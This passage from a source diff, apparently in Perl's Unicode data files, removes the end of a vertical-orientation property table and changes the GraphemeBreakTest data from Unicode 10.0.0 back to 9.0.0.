-16AF0..16AF4 ; R # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE -16AF5 ; R # Po BASSA VAH FULL STOP -16B00..16B2F ; R # Lo [48] PAHAWH HMONG VOWEL KEEB..PAHAWH HMONG CONSONANT CAU -16B30..16B36 ; R # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM -16B37..16B3B ; R # Po [5] PAHAWH HMONG SIGN VOS THOM..PAHAWH HMONG SIGN VOS FEEM -16B3C..16B3F ; R # So [4] PAHAWH HMONG SIGN XYEEM NTXIV..PAHAWH HMONG SIGN XYEEM FAIB -16B40..16B43 ; R # Lm [4] PAHAWH HMONG SIGN VOS SEEV..PAHAWH HMONG SIGN IB YAM -16B44 ; R # Po PAHAWH HMONG SIGN XAUS -16B45 ; R # So PAHAWH HMONG SIGN CIM TSOV ROG -16B50..16B59 ; R # Nd [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE -16B5B..16B61 ; R # No [7] PAHAWH HMONG NUMBER TENS..PAHAWH HMONG NUMBER TRILLIONS -16B63..16B77 ; R # Lo [21] PAHAWH HMONG SIGN VOS LUB..PAHAWH HMONG SIGN CIM NRES TOS -16B7D..16B8F ; R # Lo [19] PAHAWH HMONG CLAN SIGN TSHEEJ..PAHAWH HMONG CLAN SIGN VWJ -16F00..16F44 ; R # Lo [69] MIAO LETTER PA..MIAO LETTER HHA -16F50 ; R # Lo MIAO LETTER NASALIZATION -16F51..16F7E ; R # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG -16F8F..16F92 ; R # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW -16F93..16F9F ; R # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; U # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK -16FE2..16FFF ; U # Cn [30] .. -17000..187EC ; U # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC -187ED..187FF ; U # Cn [19] .. -18800..18AF2 ; U # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -18AF3..18AFF ; U # Cn [13] .. -1B000..1B0FF ; U # Lo [256] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER RE-2 -1B100..1B11E ; U # Lo [31] HENTAIGANA LETTER RE-3..HENTAIGANA LETTER N-MU-MO-2 -1B11F..1B12F ; U # Cn [17] .. -1B170..1B2FB ; U # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB -1B2FC..1B2FF ; U # Cn [4] .. -1BC00..1BC6A ; R # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M -1BC70..1BC7C ; R # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK -1BC80..1BC88 ; R # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL -1BC90..1BC99 ; R # Lo [10] DUPLOYAN AFFIX LOW ACUTE..DUPLOYAN AFFIX LOW ARROW -1BC9C ; R # So DUPLOYAN SIGN O WITH CROSS -1BC9D..1BC9E ; R # Mn [2] DUPLOYAN THICK LETTER SELECTOR..DUPLOYAN DOUBLE MARK -1BC9F ; R # Po DUPLOYAN PUNCTUATION CHINOOK FULL STOP -1BCA0..1BCA3 ; R # Cf [4] SHORTHAND FORMAT LETTER OVERLAP..SHORTHAND FORMAT UP STEP -1D000..1D0F5 ; U # So [246] BYZANTINE MUSICAL SYMBOL PSILI..BYZANTINE MUSICAL SYMBOL GORGON NEO KATO -1D0F6..1D0FF ; U # Cn [10] .. -1D100..1D126 ; U # So [39] MUSICAL SYMBOL SINGLE BARLINE..MUSICAL SYMBOL DRUM CLEF-2 -1D127..1D128 ; U # Cn [2] .. -1D129..1D164 ; U # So [60] MUSICAL SYMBOL MULTIPLE MEASURE REST..MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH NOTE -1D165..1D166 ; U # Mc [2] MUSICAL SYMBOL COMBINING STEM..MUSICAL SYMBOL COMBINING SPRECHGESANG STEM -1D167..1D169 ; U # Mn [3] MUSICAL SYMBOL COMBINING TREMOLO-1..MUSICAL SYMBOL COMBINING TREMOLO-3 -1D16A..1D16C ; U # So [3] MUSICAL SYMBOL FINGERED TREMOLO-1..MUSICAL SYMBOL FINGERED TREMOLO-3 -1D16D..1D172 ; U # Mc [6] MUSICAL SYMBOL COMBINING AUGMENTATION DOT..MUSICAL SYMBOL COMBINING FLAG-5 -1D173..1D17A ; U # Cf [8] MUSICAL SYMBOL BEGIN BEAM..MUSICAL SYMBOL END PHRASE -1D17B..1D182 ; U # Mn [8] MUSICAL SYMBOL COMBINING ACCENT..MUSICAL SYMBOL COMBINING LOURE -1D183..1D184 ; U # So [2] MUSICAL SYMBOL ARPEGGIATO UP..MUSICAL SYMBOL ARPEGGIATO DOWN -1D185..1D18B ; U # Mn [7] MUSICAL SYMBOL COMBINING DOIT..MUSICAL SYMBOL COMBINING TRIPLE TONGUE -1D18C..1D1A9 ; U # So [30] MUSICAL SYMBOL RINFORZANDO..MUSICAL SYMBOL DEGREE SLASH -1D1AA..1D1AD ; U # Mn [4] MUSICAL SYMBOL COMBINING DOWN BOW..MUSICAL SYMBOL COMBINING SNAP PIZZICATO -1D1AE..1D1E8 ; U # So [59] MUSICAL SYMBOL PEDAL MARK..MUSICAL SYMBOL KIEVAN FLAT SIGN -1D1E9..1D1FF ; U # Cn [23] .. -1D200..1D241 ; R # So [66] GREEK VOCAL NOTATION SYMBOL-1..GREEK INSTRUMENTAL NOTATION SYMBOL-54 -1D242..1D244 ; R # Mn [3] COMBINING GREEK MUSICAL TRISEME..COMBINING GREEK MUSICAL PENTASEME -1D245 ; R # So GREEK MUSICAL LEIMMA -1D300..1D356 ; U # So [87] MONOGRAM FOR EARTH..TETRAGRAM FOR FOSTERING -1D357..1D35F ; U # Cn [9] .. -1D360..1D371 ; U # No [18] COUNTING ROD UNIT DIGIT ONE..COUNTING ROD TENS DIGIT NINE -1D372..1D37F ; U # Cn [14] .. -1D400..1D454 ; R # L& [85] MATHEMATICAL BOLD CAPITAL A..MATHEMATICAL ITALIC SMALL G -1D456..1D49C ; R # L& [71] MATHEMATICAL ITALIC SMALL I..MATHEMATICAL SCRIPT CAPITAL A -1D49E..1D49F ; R # Lu [2] MATHEMATICAL SCRIPT CAPITAL C..MATHEMATICAL SCRIPT CAPITAL D -1D4A2 ; R # Lu MATHEMATICAL SCRIPT CAPITAL G -1D4A5..1D4A6 ; R # Lu [2] MATHEMATICAL SCRIPT CAPITAL J..MATHEMATICAL SCRIPT CAPITAL K -1D4A9..1D4AC ; R # Lu [4] MATHEMATICAL SCRIPT CAPITAL N..MATHEMATICAL SCRIPT CAPITAL Q -1D4AE..1D4B9 ; R # L& [12] MATHEMATICAL SCRIPT CAPITAL S..MATHEMATICAL SCRIPT SMALL D -1D4BB ; R # Ll MATHEMATICAL SCRIPT SMALL F -1D4BD..1D4C3 ; R # Ll [7] MATHEMATICAL SCRIPT SMALL H..MATHEMATICAL SCRIPT SMALL N -1D4C5..1D505 ; R # L& [65] MATHEMATICAL SCRIPT SMALL P..MATHEMATICAL FRAKTUR CAPITAL B -1D507..1D50A ; R # Lu [4] MATHEMATICAL FRAKTUR CAPITAL D..MATHEMATICAL FRAKTUR CAPITAL G -1D50D..1D514 ; R # Lu [8] MATHEMATICAL FRAKTUR CAPITAL J..MATHEMATICAL FRAKTUR CAPITAL Q -1D516..1D51C ; R # Lu [7] MATHEMATICAL FRAKTUR CAPITAL S..MATHEMATICAL FRAKTUR CAPITAL Y -1D51E..1D539 ; R # L& [28] MATHEMATICAL FRAKTUR SMALL A..MATHEMATICAL DOUBLE-STRUCK CAPITAL B -1D53B..1D53E ; R # Lu [4] MATHEMATICAL DOUBLE-STRUCK CAPITAL D..MATHEMATICAL DOUBLE-STRUCK CAPITAL G -1D540..1D544 ; R # Lu [5] MATHEMATICAL DOUBLE-STRUCK CAPITAL I..MATHEMATICAL DOUBLE-STRUCK CAPITAL M -1D546 ; R # Lu MATHEMATICAL DOUBLE-STRUCK CAPITAL O -1D54A..1D550 ; R # Lu [7] MATHEMATICAL DOUBLE-STRUCK CAPITAL S..MATHEMATICAL DOUBLE-STRUCK CAPITAL Y -1D552..1D6A5 ; R # L& [340] MATHEMATICAL DOUBLE-STRUCK SMALL A..MATHEMATICAL ITALIC SMALL DOTLESS J -1D6A8..1D6C0 ; R # Lu [25] MATHEMATICAL BOLD CAPITAL ALPHA..MATHEMATICAL BOLD CAPITAL OMEGA -1D6C1 ; R # Sm MATHEMATICAL BOLD NABLA -1D6C2..1D6DA ; R # Ll [25] MATHEMATICAL BOLD SMALL ALPHA..MATHEMATICAL BOLD SMALL OMEGA -1D6DB ; R # Sm MATHEMATICAL BOLD PARTIAL DIFFERENTIAL -1D6DC..1D6FA ; R # L& [31] MATHEMATICAL BOLD EPSILON SYMBOL..MATHEMATICAL ITALIC CAPITAL OMEGA -1D6FB ; R # Sm MATHEMATICAL ITALIC NABLA -1D6FC..1D714 ; R # Ll [25] MATHEMATICAL ITALIC SMALL ALPHA..MATHEMATICAL ITALIC SMALL OMEGA -1D715 ; R # Sm MATHEMATICAL ITALIC PARTIAL DIFFERENTIAL -1D716..1D734 ; R # L& [31] MATHEMATICAL ITALIC EPSILON SYMBOL..MATHEMATICAL BOLD ITALIC CAPITAL OMEGA -1D735 ; R # Sm MATHEMATICAL BOLD ITALIC NABLA -1D736..1D74E ; R # Ll [25] MATHEMATICAL BOLD ITALIC SMALL ALPHA..MATHEMATICAL BOLD ITALIC SMALL OMEGA -1D74F ; R # Sm MATHEMATICAL BOLD ITALIC PARTIAL DIFFERENTIAL -1D750..1D76E ; R # L& [31] MATHEMATICAL BOLD ITALIC EPSILON SYMBOL..MATHEMATICAL SANS-SERIF BOLD CAPITAL OMEGA -1D76F ; R # Sm MATHEMATICAL SANS-SERIF BOLD NABLA -1D770..1D788 ; R # Ll [25] MATHEMATICAL SANS-SERIF BOLD SMALL ALPHA..MATHEMATICAL SANS-SERIF BOLD SMALL OMEGA -1D789 ; R # Sm MATHEMATICAL SANS-SERIF BOLD PARTIAL DIFFERENTIAL -1D78A..1D7A8 ; R # L& [31] MATHEMATICAL SANS-SERIF BOLD EPSILON SYMBOL..MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMEGA -1D7A9 ; R # Sm MATHEMATICAL SANS-SERIF BOLD ITALIC NABLA -1D7AA..1D7C2 ; R # Ll [25] MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ALPHA..MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMEGA -1D7C3 ; R # Sm MATHEMATICAL SANS-SERIF BOLD ITALIC PARTIAL DIFFERENTIAL -1D7C4..1D7CB ; R # L& [8] MATHEMATICAL SANS-SERIF BOLD ITALIC EPSILON SYMBOL..MATHEMATICAL BOLD SMALL DIGAMMA -1D7CE..1D7FF ; R # Nd [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE -1D800..1D9FF ; U # So [512] SIGNWRITING HAND-FIST INDEX..SIGNWRITING HEAD -1DA00..1DA36 ; U # Mn [55] SIGNWRITING HEAD RIM..SIGNWRITING AIR SUCKING IN -1DA37..1DA3A ; U # So [4] SIGNWRITING AIR BLOW SMALL ROTATIONS..SIGNWRITING BREATH EXHALE -1DA3B..1DA6C ; U # Mn [50] SIGNWRITING MOUTH CLOSED NEUTRAL..SIGNWRITING EXCITEMENT -1DA6D..1DA74 ; U # So [8] SIGNWRITING SHOULDER HIP SPINE..SIGNWRITING TORSO-FLOORPLANE TWISTING -1DA75 ; U # Mn SIGNWRITING UPPER BODY TILTING FROM HIP JOINTS -1DA76..1DA83 ; U # So [14] SIGNWRITING LIMB COMBINATION..SIGNWRITING LOCATION DEPTH -1DA84 ; U # Mn SIGNWRITING LOCATION HEAD NECK -1DA85..1DA86 ; U # So [2] SIGNWRITING LOCATION TORSO..SIGNWRITING LOCATION LIMBS DIGITS -1DA87..1DA8B ; U # Po [5] SIGNWRITING COMMA..SIGNWRITING PARENTHESIS -1DA8C..1DA9A ; U # Cn [15] .. -1DA9B..1DA9F ; U # Mn [5] SIGNWRITING FILL MODIFIER-2..SIGNWRITING FILL MODIFIER-6 -1DAA0 ; U # Cn -1DAA1..1DAAF ; U # Mn [15] SIGNWRITING ROTATION MODIFIER-2..SIGNWRITING ROTATION MODIFIER-16 -1E000..1E006 ; R # Mn [7] COMBINING GLAGOLITIC LETTER AZU..COMBINING GLAGOLITIC LETTER ZHIVETE -1E008..1E018 ; R # Mn [17] COMBINING GLAGOLITIC LETTER ZEMLJA..COMBINING GLAGOLITIC LETTER HERU -1E01B..1E021 ; R # Mn [7] COMBINING GLAGOLITIC LETTER SHTA..COMBINING GLAGOLITIC LETTER YATI -1E023..1E024 ; R # Mn [2] COMBINING GLAGOLITIC LETTER YU..COMBINING GLAGOLITIC LETTER SMALL YUS -1E026..1E02A ; R # Mn [5] COMBINING GLAGOLITIC LETTER YO..COMBINING GLAGOLITIC LETTER FITA -1E800..1E8C4 ; R # Lo [197] MENDE KIKAKUI SYLLABLE M001 KI..MENDE KIKAKUI SYLLABLE M060 NYON -1E8C7..1E8CF ; R # No [9] MENDE KIKAKUI DIGIT ONE..MENDE KIKAKUI DIGIT NINE -1E8D0..1E8D6 ; R # Mn [7] MENDE KIKAKUI COMBINING NUMBER TEENS..MENDE KIKAKUI COMBINING NUMBER MILLIONS -1E900..1E943 ; R # L& [68] ADLAM CAPITAL LETTER ALIF..ADLAM SMALL LETTER SHA -1E944..1E94A ; R # Mn [7] ADLAM ALIF LENGTHENER..ADLAM NUKTA -1E950..1E959 ; R # Nd [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE -1E95E..1E95F ; R # Po [2] ADLAM INITIAL EXCLAMATION MARK..ADLAM INITIAL QUESTION MARK -1EE00..1EE03 ; R # Lo [4] ARABIC MATHEMATICAL ALEF..ARABIC MATHEMATICAL DAL -1EE05..1EE1F ; R # Lo [27] ARABIC MATHEMATICAL WAW..ARABIC MATHEMATICAL DOTLESS QAF -1EE21..1EE22 ; R # Lo [2] ARABIC MATHEMATICAL INITIAL BEH..ARABIC MATHEMATICAL INITIAL JEEM -1EE24 ; R # Lo ARABIC MATHEMATICAL INITIAL HEH -1EE27 ; R # Lo ARABIC MATHEMATICAL INITIAL HAH -1EE29..1EE32 ; R # Lo [10] ARABIC MATHEMATICAL INITIAL YEH..ARABIC MATHEMATICAL INITIAL QAF -1EE34..1EE37 ; R # Lo [4] ARABIC MATHEMATICAL INITIAL SHEEN..ARABIC MATHEMATICAL INITIAL KHAH -1EE39 ; R # Lo ARABIC MATHEMATICAL INITIAL DAD -1EE3B ; R # Lo ARABIC MATHEMATICAL INITIAL GHAIN -1EE42 ; R # Lo ARABIC MATHEMATICAL TAILED JEEM -1EE47 ; R # Lo ARABIC MATHEMATICAL TAILED HAH -1EE49 ; R # Lo ARABIC MATHEMATICAL TAILED YEH -1EE4B ; R # Lo ARABIC MATHEMATICAL TAILED LAM -1EE4D..1EE4F ; R # Lo [3] ARABIC MATHEMATICAL TAILED NOON..ARABIC MATHEMATICAL TAILED AIN -1EE51..1EE52 ; R # Lo [2] ARABIC MATHEMATICAL TAILED SAD..ARABIC MATHEMATICAL TAILED QAF -1EE54 ; R # Lo ARABIC MATHEMATICAL TAILED SHEEN -1EE57 ; R # Lo ARABIC MATHEMATICAL TAILED KHAH -1EE59 ; R # Lo ARABIC MATHEMATICAL TAILED DAD -1EE5B ; R # Lo ARABIC MATHEMATICAL TAILED GHAIN -1EE5D ; R # Lo ARABIC MATHEMATICAL TAILED DOTLESS NOON -1EE5F ; R # Lo ARABIC MATHEMATICAL TAILED DOTLESS QAF -1EE61..1EE62 ; R # Lo [2] ARABIC MATHEMATICAL STRETCHED BEH..ARABIC MATHEMATICAL STRETCHED JEEM -1EE64 ; R # Lo ARABIC MATHEMATICAL STRETCHED HEH -1EE67..1EE6A ; R # Lo [4] ARABIC MATHEMATICAL STRETCHED HAH..ARABIC MATHEMATICAL STRETCHED KAF -1EE6C..1EE72 ; R # Lo [7] ARABIC MATHEMATICAL STRETCHED MEEM..ARABIC MATHEMATICAL STRETCHED QAF -1EE74..1EE77 ; R # Lo [4] ARABIC MATHEMATICAL STRETCHED SHEEN..ARABIC MATHEMATICAL STRETCHED KHAH -1EE79..1EE7C ; R # Lo [4] ARABIC MATHEMATICAL STRETCHED DAD..ARABIC MATHEMATICAL STRETCHED DOTLESS BEH -1EE7E ; R # Lo ARABIC MATHEMATICAL STRETCHED DOTLESS FEH -1EE80..1EE89 ; R # Lo [10] ARABIC MATHEMATICAL LOOPED ALEF..ARABIC MATHEMATICAL LOOPED YEH -1EE8B..1EE9B ; R # Lo [17] ARABIC MATHEMATICAL LOOPED LAM..ARABIC MATHEMATICAL LOOPED GHAIN -1EEA1..1EEA3 ; R # Lo [3] ARABIC MATHEMATICAL DOUBLE-STRUCK BEH..ARABIC MATHEMATICAL DOUBLE-STRUCK DAL -1EEA5..1EEA9 ; R # Lo [5] ARABIC MATHEMATICAL DOUBLE-STRUCK WAW..ARABIC MATHEMATICAL DOUBLE-STRUCK YEH -1EEAB..1EEBB ; R # Lo [17] ARABIC MATHEMATICAL DOUBLE-STRUCK LAM..ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN -1EEF0..1EEF1 ; R # Sm [2] ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL..ARABIC MATHEMATICAL OPERATOR HAH WITH DAL -1F000..1F02B ; U # So [44] MAHJONG TILE EAST WIND..MAHJONG TILE BACK -1F02C..1F02F ; U # Cn [4] .. -1F030..1F093 ; U # So [100] DOMINO TILE HORIZONTAL BACK..DOMINO TILE VERTICAL-06-06 -1F094..1F09F ; U # Cn [12] .. -1F0A0..1F0AE ; U # So [15] PLAYING CARD BACK..PLAYING CARD KING OF SPADES -1F0AF..1F0B0 ; U # Cn [2] .. -1F0B1..1F0BF ; U # So [15] PLAYING CARD ACE OF HEARTS..PLAYING CARD RED JOKER -1F0C0 ; U # Cn -1F0C1..1F0CF ; U # So [15] PLAYING CARD ACE OF DIAMONDS..PLAYING CARD BLACK JOKER -1F0D0 ; U # Cn -1F0D1..1F0F5 ; U # So [37] PLAYING CARD ACE OF CLUBS..PLAYING CARD TRUMP-21 -1F0F6..1F0FF ; U # Cn [10] .. -1F100..1F10C ; U # No [13] DIGIT ZERO FULL STOP..DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO -1F10D..1F10F ; U # Cn [3] .. -1F110..1F12E ; U # So [31] PARENTHESIZED LATIN CAPITAL LETTER A..CIRCLED WZ -1F12F ; U # Cn -1F130..1F16B ; U # So [60] SQUARED LATIN CAPITAL LETTER A..RAISED MD SIGN -1F16C..1F16F ; U # Cn [4] .. -1F170..1F1AC ; U # So [61] NEGATIVE SQUARED LATIN CAPITAL LETTER A..SQUARED VOD -1F1AD..1F1E5 ; U # Cn [57] .. -1F1E6..1F1FF ; U # So [26] REGIONAL INDICATOR SYMBOL LETTER A..REGIONAL INDICATOR SYMBOL LETTER Z -1F200..1F201 ; Tu # So [2] SQUARE HIRAGANA HOKA..SQUARED KATAKANA KOKO -1F202 ; U # So SQUARED KATAKANA SA -1F203..1F20F ; U # Cn [13] .. -1F210..1F23B ; U # So [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D -1F23C..1F23F ; U # Cn [4] .. -1F240..1F248 ; U # So [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 -1F249..1F24F ; U # Cn [7] .. -1F250..1F251 ; U # So [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT -1F252..1F25F ; U # Cn [14] .. -1F260..1F265 ; U # So [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI -1F266..1F2FF ; U # Cn [154] .. -1F300..1F3FA ; U # So [251] CYCLONE..AMPHORA -1F3FB..1F3FF ; U # Sk [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6 -1F400..1F5FF ; U # So [512] RAT..MOYAI -1F600..1F64F ; U # So [80] GRINNING FACE..PERSON WITH FOLDED HANDS -1F650..1F67F ; U # So [48] NORTH WEST POINTING LEAF..REVERSE CHECKER BOARD -1F680..1F6D4 ; U # So [85] ROCKET..PAGODA -1F6D5..1F6DF ; U # Cn [11] .. -1F6E0..1F6EC ; U # So [13] HAMMER AND WRENCH..AIRPLANE ARRIVING -1F6ED..1F6EF ; U # Cn [3] .. -1F6F0..1F6F8 ; U # So [9] SATELLITE..FLYING SAUCER -1F6F9..1F6FF ; U # Cn [7] .. -1F700..1F773 ; U # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE -1F774..1F77F ; U # Cn [12] .. -1F780..1F7D4 ; U # So [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR -1F7D5..1F7FF ; U # Cn [43] .. -1F800..1F80B ; R # So [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD -1F810..1F847 ; R # So [56] LEFTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD..DOWNWARDS HEAVY ARROW -1F850..1F859 ; R # So [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW -1F860..1F887 ; R # So [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW -1F890..1F8AD ; R # So [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS -1F900..1F90B ; U # So [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT -1F90C..1F90F ; U # Cn [4] .. -1F910..1F93E ; U # So [47] ZIPPER-MOUTH FACE..HANDBALL -1F93F ; U # Cn -1F940..1F94C ; U # So [13] WILTED FLOWER..CURLING STONE -1F94D..1F94F ; U # Cn [3] .. -1F950..1F96B ; U # So [28] CROISSANT..CANNED FOOD -1F96C..1F97F ; U # Cn [20] .. -1F980..1F997 ; U # So [24] CRAB..CRICKET -1F998..1F9BF ; U # Cn [40] .. -1F9C0 ; U # So CHEESE WEDGE -1F9C1..1F9CF ; U # Cn [15] .. -1F9D0..1F9E6 ; U # So [23] FACE WITH MONOCLE..SOCKS -1F9E7..1F9FF ; U # Cn [25] .. -20000..2A6D6 ; U # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6 -2A6D7..2A6FF ; U # Cn [41] .. -2A700..2B734 ; U # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 -2B735..2B73F ; U # Cn [11] .. -2B740..2B81D ; U # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D -2B81E..2B81F ; U # Cn [2] .. -2B820..2CEA1 ; U # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEA2..2CEAF ; U # Cn [14] .. -2CEB0..2EBE0 ; U # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 -2EBE1..2F7FF ; U # Cn [3103] .. -2F800..2FA1D ; U # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D -2FA1E..2FFFD ; U # Cn [1504] .. -30000..3FFFD ; U # Cn [65534] .. -E0001 ; R # Cf LANGUAGE TAG -E0020..E007F ; R # Cf [96] TAG SPACE..CANCEL TAG -E0100..E01EF ; R # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -F0000..FFFFD ; U # Co [65534] .. -100000..10FFFD ; U # Co [65534] .. - -# EOF diff --git a/lib/unicore/auxiliary/GCBTest.txt b/lib/unicore/auxiliary/GCBTest.txt index d7d8f90de07a..4bb4b1369b51 100644 --- a/lib/unicore/auxiliary/GCBTest.txt +++ b/lib/unicore/auxiliary/GCBTest.txt @@ -1,24 +1,23 @@ -# GraphemeBreakTest-10.0.0.txt -# Date: 2017-04-14, 05:40:29 GMT -# © 2017 Unicode®, Inc. +# GraphemeBreakTest-9.0.0.txt +# Date: 2016-06-02, 18:28:17 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database # For documentation, see http://www.unicode.org/reports/tr44/ # -# Default Grapheme_Cluster_Break Test +# Default Grapheme Break Test # # Format: -# (# )? -# contains hex Unicode code points, with -# ÷ wherever there is a break opportunity, and +# (# )? +# contains hex Unicode code points, with +# ÷ wherever there is a break opportunity, and # × wherever there is not. # the format can change, but currently it shows: # - the sample character name # - (x) the Grapheme_Cluster_Break property value for the sample character -# - [x] the rule that determines whether there is a break or not, -# as listed in the Rules section of GraphemeBreakTest.html +# - [x] the rule that determines whether there is a break or not # # These samples may be extended or changed in the future. # @@ -54,8 +53,8 @@ ÷ 0020 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0020 × 200D ÷ # ÷ [0.2] SPACE (Other) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 0020 × 0308 × 200D ÷ # ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 0020 ÷ 2640 ÷ # ÷ [0.2] SPACE (Other) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0020 × 0308 ÷ 2640 ÷ # ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0020 ÷ 2764 ÷ # ÷ [0.2] SPACE (Other) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0020 × 0308 ÷ 2764 ÷ # ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0020 ÷ 1F466 ÷ # ÷ [0.2] SPACE (Other) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0020 × 0308 ÷ 1F466 ÷ # ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0020 ÷ 0378 ÷ # ÷ [0.2] SPACE (Other) ÷ [999.0] (Other) ÷ [0.3] @@ -94,8 +93,8 @@ ÷ 000D ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 000D ÷ 200D ÷ # ÷ [0.2] (CR) ÷ [4.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 000D ÷ 0308 × 200D ÷ # ÷ [0.2] (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] -÷ 000D ÷ 2640 ÷ # ÷ [0.2] (CR) ÷ [4.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 000D ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 000D ÷ 2764 ÷ # ÷ [0.2] (CR) ÷ [4.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 000D ÷ 0308 ÷ 2764 ÷ # ÷ [0.2] (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 000D ÷ 1F466 ÷ # ÷ [0.2] (CR) ÷ [4.0] BOY (EBG) ÷ [0.3] ÷ 000D ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 000D ÷ 0378 ÷ # ÷ [0.2] (CR) ÷ [4.0] (Other) ÷ [0.3] @@ -134,8 +133,8 @@ ÷ 000A ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 000A ÷ 200D ÷ # ÷ [0.2] (LF) ÷ [4.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3] ÷ 000A ÷ 0308 × 200D ÷ # ÷ [0.2] (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH 